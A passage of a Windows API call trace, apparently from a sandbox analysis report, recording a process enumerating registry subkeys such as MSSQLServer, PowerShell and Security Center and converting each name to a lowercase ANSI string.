[0038.187] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3c, lpName=0x94b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0038.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x94c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0038.188] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3d, lpName=0x94b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0038.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x94c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0038.188] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3e, lpName=0x94b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0038.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x94c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0038.188] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3f, lpName=0x94b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0038.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x94c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0038.188] RegEnumKeyW (in: hKey=0x34, dwIndex=0x40, lpName=0x94b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0038.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x94c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0038.188] RegEnumKeyW (in: hKey=0x34, dwIndex=0x41, lpName=0x94b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0038.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x94c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0038.188] RegEnumKeyW (in: hKey=0x34, dwIndex=0x42, lpName=0x94b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0038.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x94c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0038.189] RegEnumKeyW (in: hKey=0x34, dwIndex=0x43, lpName=0x94b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0038.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x94c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0038.189] RegEnumKeyW (in: hKey=0x34, dwIndex=0x44, lpName=0x94b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0038.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x94c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0038.189] RegEnumKeyW (in: hKey=0x34, dwIndex=0x45, lpName=0x94b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0038.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x94c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0038.189] RegEnumKeyW (in: hKey=0x34, dwIndex=0x46, lpName=0x94b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0038.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x94c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0038.189] RegEnumKeyW (in: hKey=0x34, dwIndex=0x47, lpName=0x94b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0038.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0038.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x94c0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0038.189] RegEnumKeyW (in: hKey=0x34, dwIndex=0x48, lpName=0x94b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0038.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x94c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0038.189] RegEnumKeyW (in: hKey=0x34, dwIndex=0x49, lpName=0x94b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0038.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x94c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0038.190] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4a, lpName=0x94b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0038.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0038.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x94c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0038.190] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4b, lpName=0x94b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0038.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x94c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0038.190] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4c, lpName=0x94b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0038.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x94c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0038.190] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4d, lpName=0x94b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0038.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x94c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0038.190] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4e, lpName=0x94b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0038.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x94c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0038.190] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4f, lpName=0x94b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0038.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0038.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x94c0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0038.191] RegEnumKeyW (in: hKey=0x34, dwIndex=0x50, lpName=0x94b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0038.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x94c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0038.191] RegEnumKeyW (in: hKey=0x34, dwIndex=0x51, lpName=0x94b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0038.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x94c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0038.191] RegEnumKeyW (in: hKey=0x34, dwIndex=0x52, lpName=0x94b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0038.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x94c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0038.191] RegEnumKeyW (in: hKey=0x34, dwIndex=0x53, lpName=0x94b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0038.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x94c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0038.191] RegEnumKeyW (in: hKey=0x34, dwIndex=0x54, lpName=0x94b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0038.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x94c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0038.191] RegEnumKeyW (in: hKey=0x34, dwIndex=0x55, lpName=0x94b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0038.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x94c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0038.191] RegEnumKeyW (in: hKey=0x34, dwIndex=0x56, lpName=0x94b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0038.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x94c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0038.192] RegEnumKeyW (in: hKey=0x34, dwIndex=0x57, lpName=0x94b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0038.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x94c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0038.192] RegEnumKeyW (in: hKey=0x34, dwIndex=0x58, lpName=0x94b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0038.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0038.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x94c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0038.192] RegEnumKeyW (in: hKey=0x34, dwIndex=0x59, lpName=0x94b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0038.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x94c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0038.192] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5a, lpName=0x94b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0038.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x94c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0038.192] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5b, lpName=0x94b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0038.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x94c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0038.192] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5c, lpName=0x94b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0038.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x94c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0038.192] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5d, lpName=0x94b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0038.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x94c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0038.193] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5e, lpName=0x94b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0038.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x94c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0038.193] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5f, lpName=0x94b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0038.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x94c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0038.193] RegEnumKeyW (in: hKey=0x34, dwIndex=0x60, lpName=0x94b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0038.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x94c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0038.193] RegEnumKeyW (in: hKey=0x34, dwIndex=0x61, lpName=0x94b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0038.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x94c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0038.193] RegEnumKeyW (in: hKey=0x34, dwIndex=0x62, lpName=0x94b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0038.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0038.221] RegEnumKeyW (in: hKey=0x34, dwIndex=0x63, lpName=0x94b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0038.221] WideCharToMultiByte (in: 